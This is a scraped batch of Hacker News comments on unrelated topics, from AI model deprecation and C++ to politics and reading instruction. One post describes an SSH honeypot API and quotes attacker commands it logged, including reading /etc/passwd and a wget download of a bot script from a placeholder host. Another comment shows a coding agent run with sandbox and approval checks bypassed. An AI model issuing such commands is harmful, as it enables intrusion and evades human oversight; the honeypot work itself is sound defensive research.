MurphyA/hacker-news huggingface dataset:
by jakejohnson | 2026-02-19 18:08:22+00:00
I haven't seen any deprecation notices for 2.5 yet, just for 2. I'd expect (and hope) the deprecation timeline for 2.5 is longer since 3.0 is still in preview. Maybe they just default to 1 year here?

> Note: The shutdown dates listed in the table indicate the /earliest/ possible dates on which a model might be retired. We will communicate the exact shutdown date to users with advance notice to ensure a smooth transition to a replacement model.
by omoikane | 2026-02-19 18:08:30+00:00
I am actually glad that more and more of the metaprogramming techniques are built into the language itself, because people are going to try metaprogramming anyways, and their attempts at it are generally less readable without proper compiler support.

Anecdotally, I remember having to review a library written in C++98. It actually worked as promised, but it also did a lot of extremely clever things that were sort of unnecessary if we had just waited for C++11 with type_traits. We got rid of that library later after rewriting all the downstream dependencies.
by toraway | 2026-02-19 18:08:52+00:00
For a personal plan to use premium Gemini AI features or for agentic development with Gemini CLI/Antigravity the billing is no more or less complicated then Claude Code or Codex CLI.

You pay for the $20/mo Google AI Pro plan with a credit card via the normal personal billing flow like you would for a Google One plan without any involvement of Google Cloud billing or AI Studio. Authorize in the client with your account and you're good to go.

(With the bundled drive storage on AI Pro I'm just paying a few bucks more than I was before so for me it's my least expensive AI subscription excluding the Z.ai ultra cheap plan).

Or, just like with Anthropic or OpenAI, it's a separate process for billing/credits for an API key targeted at a developer audience. Which I don't need or use for Gemini CLI or Antigravity at all, it's a one step "click link to authorize with your Google Account" and done.

You could decide to use an API key for usage based billing instead (just like you could with Claude Code) but that's entirely unnecessary with a subscription.

Sure, for the API anything involving a hyperscalar cloud is going to have a higher complexity floor with legacy cruft here and there, but for individual subscriptions that's irrelevant and it's pretty much as straightforward of a click and pay flow you'd find anywhere else.
by jcalvinowens | 2026-02-19 18:09:24+00:00
> As local variables are typically hidden from the ABI, this approach has a marginal impact on it.

I'm skeptical this is workable... it's pretty common in systems code to take the address of a local variable and pass it somewhere. Many event libraries implement waiting for an event that way: push a pointer to a futex on the stack to a global list, and block on it.

They address it explicitly later:

> Although simply modifying types of a local variable doesn’t normally impact the ABI, taking the address of such a modified type could create a pointer type that has an ABI mismatch

That breaks a lot of stuff.

The explicit annotations seem like they could have real value for libraries, especially since they can be ifdef'd away. But the general stack variable thing is going to break too much real world code.
by whyenot | 2026-02-19 18:09:40+00:00
Gnetum genom does not have a good fossil record, as is the case for many tropical species, but based on molecular clock data, the genus dates to the late Cretaceous-Paleogene boundary (66 mya). Gnetum is a really weird gymnosperm, not a flowering plant, although it does produce fleshy "cones" (strobili). In Indonesia, the seeds are smashed and deep fried to make crisps called "emping".

https://onlinelibrary.wiley.com/doi/10.12705/642.12
by RickJWagner | 2026-02-19 18:09:58+00:00
My opinion is that Trump ( and Obama ) were both enforcing the laws passed by bipartisan congress. ( As others have pointed out, Bush and Clinton could easily be included. )

They have all enforced the laws, as is their duty. Obama eloquently said he is a president, not an empower. He did not get to pick and choose which laws to enforce.

So I condemn neither Obama nor Trump. They were charged with a duty, and they fulfilled it.

My argument is against people who condemn one and praise another.
by xrd | 2026-02-19 18:10:29+00:00
These models are so powerful.

It's totally possible to build entire software products in the fraction of the time it took before.

But, reading the comments here, the behaviors from one version to another point version (not major version mind you) seem very divergent.

It feels like we are now able to manage incredibly smart engineers for a month at the price of a good sushi dinner.

But it also feels like you have to be diligent about adopting new models (even same family and just point version updates) because they operate totally differently regardless of your prompt and agent files.

Imagine managing a team of software developers where every month it was an entirely new team with radically different personalities, career experiences and guiding principles. It would be chaos.

I suspect that older models will be deprecated quickly and unexpectedly, or, worse yet, will be swapped out with subtle different behavioral characteristics without notice. It'll be quicksand.
by electroly | 2026-02-19 18:10:38+00:00
I have a monorepo full of Julia analysis scripts written by different people. I want to run them in a Docker container on ephemeral Linux EC2 instances and on user Windows workstations. I don't want to sit through precompilation of all dependencies whenever a new machine runs a particular version of the Julia project for the first time because it takes a truly remarkable amount of time. For the ephemeral Linux instances running Julia in Docker, that happens on every run. Precompiling at Docker build time doesn't help you; it precompiles everything again when you run that container on a different host computer. R and Python don't work like this; if you install everything during the Docker image build, they will not suddenly trigger a lengthy recompilation when run on a different host machine.

I am intimately familiar with JULIA_CPU_TARGET; it's part of configuring PackageCompiler and I had to spend a fair amount of time figuring it out. Mine is [0]. It's not related to what I was discussing there. I am looking for Julia to operate a package manager service like R's CRAN/Posit PPM or Python's PyPI/Conda that distributes compiled binaries for supported platforms. JuliaHub only distributes source code.

[0] generic;skylake-avx512,clone_all;cascadelake,clone_all;icelake-server,clone_all;sapphirerapids,clone_all;znver4,clone_all;znver2,clone_all
by foxyv | 2026-02-19 18:10:39+00:00
My own answer is this. We have created a system of exploitation where we extract value from people's labor and transfer it to an oligarchicy that is slowly increasing in power. Governments are captured by that ruling class and are unwilling to do anything that threatens them. In addition, they are slowly reducing the rights and social mobility of the middle and lower class in order to expand the power and capital of the oligarchy.

Any money that is possessed by the working classes is then taxed in the form of increased living expenses or directly by the government until they can barely afford the necessities that allow them to continue working. Once they are no longer able to do so, they are discarded and allowed to die of preventable illness, starvation, drug use or exposure.
by dmd | 2026-02-19 18:10:53+00:00
My overall philosophy for (my quite extensive) Home Assistant setup is “amy time a human interacts with the HA UI in any way whatsoever, that is a failure.” I don’t want dashboards, I don’t want a user interface at ALL other than for setting up new automation. The point of HA for me is the house should feel like the correct things happen by magic (and should be essentially unobtrusive and natural).
by astrobe_ | 2026-02-19 18:10:57+00:00
There's none. It's kind of like the "hello world" or "empty program" example for arrays.

What this page shows is that the CREATE ... DOES> construct is similar to a closure, except it can only capture one address (or reference in languages that don't want you to dirty your hands with addresses ;-) and it is always a global symbol (like almost always in Forth). It is still useful to encapsulate implementation details, though.
Some people have said it is a basis for objects, which is a bit euphoric IMHO. You know, "closures are the poor man's objects, and objects are the poor man's closures".
by foruhar | 2026-02-19 18:11:14+00:00
My sense is that the Gemini models are very capable but the Gemini CLI experience is subpar compared to Claude Code and Codex. I'm guess that it's the harness but since it can get confused, fall into doom loops, and generally lose the plot in a way that the model does not in Gemini Studio or the Gemini app.

I think a bunch of these harnesses are open source so it surprises me that there can be such a gulf between them.
by RiverCrochet | 2026-02-19 18:11:20+00:00
PKI has all the tools we need.

There's no way to present identity documents to a third party using remote technology without being forced to trust that a third party is going to handle your information in a privacy-respecting manner.

So I think identity verification should be done only face to face, like notary publics. Go physically see someone who has a verifier certificate, pay them to look at your ID and issue you a token. Institutions like banks and churches can do this. Since it is a mildly profitable activity it provides incentives for verifiers to protect their private keys and such. Issuing a token that says someone is an adult when they are not should be a felony and/or result in harsh civil penalties.

You can then present this token to anyone who needs to verify whatever aspect of your identity, and existing PKI can be used to verify the token is from a valid and non-revoked verifier.

This can all be done easily on phones with the right apps. Laws can be put into effect to absolve liability if best practices are followed. The possibility of fraud can be managed to be the equivalent to physical ID documents.

Of course, how do you physically verify with someone far from you? Network of verifiers. If I'm a local verifier that physically checks identity documents, then another verifier in the next city/state may want to enter into a mutual agreement to accept each others verifications. This would likely come with additional impositions specified in contracts, and "wide-area" or "long-distance" verification might cost more.

And that's fine. It makes local communities that need to verify easier to participate in than wider ones
by VirusNewbie | 2026-02-19 18:11:25+00:00
>That's an uncommon experience.

A big part Part of the reason tesla is considered less reliable is the number of recalls it gets, most of which are software related and fixed over the air.

In terms of maintenance, it is by far the lowest cost of ownership vehicle I've had, I'm in my 40s, not exactly new to owning cars.
by ToValueFunfetti | 2026-02-19 18:11:30+00:00
Help me out here. This has been happening to me a lot lately and I have to assume it's a failure to communicate on my part. I only intended to dispute that this should be called 'killing people'. I tried to indicate that I still think it's bad even if not described in that way.

Is there something that I said or failed to say that lead you to believe otherwise, or are you intending this reply as an argument that it should be called 'killing people' in a way I'm not understanding?
by klik99 | 2026-02-19 18:11:37+00:00
I and others (but not as many as I would have thought) recognized the switch to algorithmic feed in 2006 was a fundamental shift in what social media was. But back then I predicted it would destroy Facebook, which was so wrong - really it ended up (partly) destroying western civilization.

I think people are good at sensing that things are changing but not how it’d play out. It’s very easy to see it in hindsight and even recognize it’s bad, I don’t think anyone saw how bad it would get. I just hope we don’t lose the ideals of free speech and the early promise of the internet with regulating platforms.
by anonymous908213 | 2026-02-19 18:11:38+00:00
The title does not shame piracy. It factually describes that the linked article is a Microsoft-published guide to piracy, wherein the instructions tell readers to commit the (illegal for normal people) act of downloading pirated material, while linking to said pirated material (also illegal for normal people), with further instructions on how to use that just-downloaded pirated material for LLM inference (maybe even illegal for corporations; Anthropic settled for $1.5B for using pirated books in its training) and publishing derivative works without license (illegal for normal people).

I hate the current copyright environment as much as anyone, but I do not abide double-standards, with a two-tier justice system wherein a corporation gets to freely enforce the draconian copyright regime against individuals while also getting to abuse individuals' creative works in ways much more egregious.
by sirgeon | 2026-02-19 18:11:46+00:00
Show HN: I built a Rust API to expose my SSH honeypot data in real time

I've been running a Cowrie SSH honeypot on my VPS for a while and got tired of SSHing in to grep through logs. So I built a small REST API in Rust (Axum) that parses Cowrie's JSON logs and serves aggregated stats — top IPs, passwords, usernames, commands, sessions, the whole thing.

It's called cowrie-api and it's part of a larger project I'm calling the fenrir honeypot stack.

What it does

Cowrie logs every SSH connection attempt to a JSON file. cowrie-api tails that file and exposes it over HTTP. There are endpoints for aggregated stats, every login attempt with a success/fail flag, every command typed by attackers in fake shell sessions, activity grouped by session ID, and a health check showing log file status.

The fun part is the sessions endpoint. When an attacker gets past the login prompt (Cowrie accepts any credentials), you can see exactly what they typed in the fake shell — uname -a, cat /etc/passwd, wget http://malicious.example.com/bot.sh. It's a window into what automated attacks actually do once they're "in".

Why Rust

Honestly, partly to learn it. But also — this thing runs on the same VPS as everything else and I wanted it to be as lightweight as possible. The binary is small, memory usage is negligible, and Axum made building the API surprisingly pleasant once I got past the type system fighting me.

What I found after a few days of data

root and admin account for the vast majority of attempts. Password 123456 is still the most tried password in 2026. Most bots don't bother running commands even after a "successful" login — they just disconnect. Probably checking if the port is open for a later payload. The ones that do run commands almost always start with uname -a to fingerprint the system.

Stack

Rust + Axum, Cowrie (Python SSH honeypot), Docker Compose, deployed behind Traefik on a Dokploy VPS.

The API is live and serving real data from my honeypot at vinhegewald.de/project-fenrir if you want to see actual attack traffic.

Repo: https://github.com/sirgeon/cowrie-api

Would love feedback on the Rust code especially — still learning idiomatic patterns.
by cubefox | 2026-02-19 18:12:06+00:00
Yeah, E Ink Gallery is the only real exception to the rule with full color support. (The store signage can also change colors, but they don't support color mixing, so there are just three or four colors in total.) Unfortunately, even after 10 years, E Ink Gallery is still far behind colored paper in quality. I think fundamentally their approach to e-paper (electrophoresis displays) is just not suited for full color.
by glimshe | 2026-02-19 18:12:09+00:00
I absolutely have health insurance, the most expensive available on my state. That doesn't protect me 100%, but what health insurance (including the ones available at most companies) does?

People who have poor money management skills believe that FIRE=Ramen and no health insurance... I'm fact, it's about getting a 30K car (the one I bought new 3 years ago) instead a 70K car despite having the money.
by tstrimple | 2026-02-19 18:12:17+00:00
I tend to think "good teachers" is a thing that doesn't really matter outside of niche 1-1 breakthrough moments. I know there are exceptions. Teachers who go way above and beyond, but that's not a scalable solution. A great teacher can make a difference in a handful of children. But they can't fix a fundamentally broken system. I tend to agree with you that it's not teachers that make a school good. It's the reputation and the parents who will move to areas based on said reputation. It's already selecting for parents who have the means and willingness to decide where they live to achieve better results for their child's education. They are invested in other ways as well.

Thus bad schools don't necessarily have bad teachers. They have a concentration of complacent or actively bad parents who drag the entire experience down for everyone. Throw in the bulk of special needs kids who fall on the public school system that is not in any way equipped to actually handle them and it's no wonder very few kids are learning effectively.
by candiddevmike | 2026-02-19 18:12:18+00:00
We've been building https://homechart.app for years (without GenAI...) and folks just don't realize that home managers exist as an app. They're too used to single purpose solutions, so they don't think to look for more comprehensive options.

There's also the inherit struggle of being everything for everyone with an app like this, and focusing on features 80% of your users want and leaving the other 20% niche features on the backlog upsets people, mostly the power users.
by ch4s3 | 2026-02-19 18:12:43+00:00
> I mean... would you remember?

Yes. I distinctly remember sitting through a whole year of other kids struggling to guess what a word was based on context clues in some rabbit related reading book written for whole language instruction. It was painfully slow and boring. I distinctly remember having been taught by my mother to sound out letters, so I didn't have to guess and the teachers telling me not to do it.

> I actually have no idea how to confirm that

Marie Clay is the name you want to google.

> easy to find the phonics lesson products that are sold to parents

The reason there was a market for this is because what schools were doing was not working.

> Such products used to be pumped on the ads during AM hate radio shows, among other things. Those products were complimentary to the "educators are terrible and public education is terrible and everything done by experts is terrible" message those shows pushed.

It's important to step away form the culture war aspect of the "reading wars". There is simply put an evidence based and scientific way to teach reading, and one based on wacky theories fro mt he 1960s that don't work but were popularized by hucksters. The excellent podcast series sold a story has great coverage. https://features.apmreports.org/sold-a-story/ (I wish they published long for text, and its ironic I know, but here we are).

> I'm sure that accounts for a lot of the difference in lesson plans we're talking about, and some states emphasize strong local control as well.

This is to an extent true, but teachers have to get trained on instruction in literacy and for many years colleges were all teaching utter nonsense.

That said, it's important not to over focus on the mechanical part of reading, phonics, because background knowledge and vocabulary are key to using phonics well.
by dzaima | 2026-02-19 18:13:02+00:00
The main actual speedrunning categories don't allow any RNG changes; but I doubt anyone doing RSG would have any interest whatsoever going back to the 20x-or-whatever slower seed rolling, that's just a completely utterly dumb waste of time doing literally nothing except clicking a button every 5 seconds (effectively changing the category from "who can play the game the best" to much more like "who has the most beast of a machine to run as many minecraft instances in parallel to more quickly roll a good seed"). Viewership would definitely go down from there being less actual gameplay.

Ranked is intended to be a fun competitive thing; waiting 10 minutes for a dragon perch doing nothing is Not Fun; waiting forever at a spawner is Not Fun; simple as that, people wouldn't play it if it wasn't fun. (oh, also, I believe Ranked also just generally includes making mob drops consistent for the same seed (and consistent portal locations, and probably other things), without which the whole entire concept of competitively playing the same seed would not work whatsoever, devolving to just who got the better RNG, distinctly Not Fun; also the ability to review a replay of your game afterwards for learning). Viewership and player counts would go down because you'd just be looking at very slow gambling instead of something actually meaningfully-skill-based.

A second account might work for freecam (though it adds more editing work, aka makes you not want to actually use it much), but making pretty timelapses is not feasible that way. Granted, you could still live without it, but the quality of content would undoubtedly go down. The little things go a long, long, long way.
by altairprime | 2026-02-19 18:13:13+00:00
Pants sizes also lie because they don’t take into account the rise necessary to provide horizontal waistline on women with an angle at their rear waist-to-hip incline. A 14 low-rise waist that flops down at a thirty degree tilt in the front is a worse fit than a 12 mid-rise waist that doesn’t, for example.
by embedding-shape | 2026-02-19 18:13:14+00:00
Who has time for that? This is how I run codex: `codex --sandbox danger-full-access --dangerously-bypass-approvals-and-sandbox --search exec "$PROMPT"`, having to approve each change would effectively destroy the entire point of using an agent, at least for me.

Edit: obviously inside something so it doesn't have access to the rest of my system, but enough access to be useful.
Ask HN: Can a license make large corporations give back?
by arboles | 2026-02-19 18:13:14+00:00
I've no expectations for this post to be well-received because it looks down on open-source for being too "pure". Though unless we evolve beyond no-strings-attached open-source, the ecosystem will remain as broken as it is. Why don't our overworked, underpaid open-source developers license their software with something to the effect of "If you make more than $1,000,000, pay me."? JSON designer ("the" JSON) Douglas Crockford had IBM ask for permission to use JSLint, because Douglas had added the note/clause/term "The Software shall be used for Good, not Evil."[1]

We don't know if GPL works in court. It roughly seems like whatever you write in a license is an effective deterrent though. So your repository could take an existing permissive license like MIT, and add a clause like I mentioned. Set a procedure for your terms for others to use your open-source project commercially. An example of this is the Big Time Public License.[2]

[1] https://wonko.com/post/jsmin-isnt-welcome-on-google-code/

[2] https://bigtimelicense.com/versions/2.0.2#big-business
by marcosdumay | 2026-02-19 18:13:40+00:00
> So it seems science relies on people's integrity, not avoidance of any particular focus.

Science relies on replication. And any real gain society gets that comes from science is a form of replication in itself.

Integrity can't be relied on. But then, complete reliability is not necessary, just enough to make replication work.

And also, science is in a crisis due to the lack (or really large delay) of practical use. We actually don't have any other institution that ensures replication happens.